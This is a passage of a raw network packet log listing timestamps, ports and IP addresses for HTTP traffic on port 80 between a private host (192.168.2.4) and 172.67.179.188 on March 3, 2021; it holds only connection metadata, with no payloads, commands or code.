Mar 3, 2021 07:32:39.365111113 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.365129948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.365142107 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.365148067 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.365158081 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.365164042 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.365180016 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.365185976 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.365195036 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.365210056 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.365226030 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.365232944 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.365238905 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.365443945 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.427589893 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427618027 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427629948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427642107 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427659035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427675009 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427690029 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427710056 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427719116 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.427726984 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427742958 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427758932 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427773952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427784920 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.427789927 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427800894 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.427877903 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427907944 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.427917004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427956104 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.427988052 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428003073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428019047 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428030014 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428036928 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.428050041 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428066969 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428073883 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.428081989 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428090096 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.428097963 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428112030 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428134918 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.428584099 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.428733110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428772926 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428802967 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428832054 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428852081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428852081 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.428869009 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428884983 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428895950 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.428901911 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428917885 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428925991 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.428934097 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428950071 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428960085 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.428966999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428986073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.428989887 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.429011106 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.429691076 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429747105 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429776907 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429794073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429792881 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.429816961 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429824114 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.429833889 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429848909 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429864883 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429872990 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.429881096 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429891109 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.429902077 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429919958 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429928064 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.429935932 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429953098 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.429960966 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.430254936 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.430608034 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430649996 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430680037 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430715084 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.430716991 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430737019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430754900 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430763006 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.430769920 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430787086 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430804014 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430819035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430834055 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430834055 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.430840015 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.430849075 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430869102 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.430896997 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.430934906 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.431582928 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431627035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431646109 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431662083 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431663990 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.431678057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431694031 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431703091 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.431709051 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431723118 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431721926 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.431740046 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431756020 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431766987 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.431771994 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431791067 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431813955 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.431864023 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.431881905 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.432251930 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.432451010 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432497025 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432534933 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432564974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432581902 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432594061 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.432598114 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432614088 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432629108 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.432631969 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432643890 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.432652950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432668924 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432681084 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.432684898 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432701111 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432715893 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.432725906 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.432748079 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.433465958 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433502913 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433520079 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433532000 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433543921 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433557034 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433573008 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433587074 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433603048 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433618069 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433634043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433646917 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.433650017 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433666945 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.433692932 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.433842897 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.434354067 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.434384108 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.434398890 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.434415102 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.434431076 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.434442997 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.434447050 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.434459925 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.434463024 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.434478998 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.434498072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.434525013 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.434978008 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435045004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435077906 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435079098 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.435095072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435111046 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435127020 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435137033 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.435143948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435159922 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435178041 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435185909 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.435195923 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435205936 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.435210943 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435223103 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.435228109 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435244083 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435252905 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.435520887 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.435928106 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.435981989 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436003923 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436019897 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436038971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436048985 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.436055899 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436072111 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436081886 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.436088085 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436104059 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436111927 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.436119080 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436135054 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436151028 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436162949 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.436170101 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436181068 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.436218023 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.436872005 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436927080 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436927080 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.436944962 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436963081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436979055 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.436994076 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437006950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437016010 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.437022924 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437035084 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437048912 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437057972 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.437066078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437081099 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437097073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437103987 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.437159061 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.437167883 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.437788010 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437819004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437834024 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437853098 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437870026 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437876940 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.437886000 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437899113 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437900066 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.437911034 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437930107 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.437961102 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.476152897 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476212025 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476255894 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476288080 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.476295948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476324081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476324081 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.476341009 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476356983 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476372004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476380110 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.476387024 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476402998 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476411104 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.476423025 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476439953 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476444960 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.476454973 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476469994 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476478100 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.476485014 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476500988 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476507902 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.476516962 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476532936 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.476537943 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.476627111 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.477152109 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.477169037 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.477180004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.477188110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.477370024 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.496586084 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496614933 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496627092 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496643066 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496661901 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496682882 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496697903 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496705055 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.496712923 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496728897 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496745110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496762037 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496773005 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.496778011 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496797085 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496808052 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.496944904 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.496977091 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.496980906 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497009039 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497025967 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497041941 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497049093 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.497056961 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497073889 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497081041 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.497093916 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497102022 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.497111082 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497127056 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497136116 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.497143030 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497158051 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497184038 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.497576952 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.497713089 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497759104 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497792006 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497817993 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497833967 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497843027 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.497853994 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497869968 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497885942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497901917 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497908115 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.497925043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497926950 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.497942924 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497960091 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497975111 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.497982025 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.498230934 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.498720884 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.498770952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.498814106 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.498826981 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.498838902 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.498856068 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.498867989 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.498872042 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.498887062 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.498903036 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.498914003 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.498918056 CET	80	49741	172.67.179.188	192.168.2.4
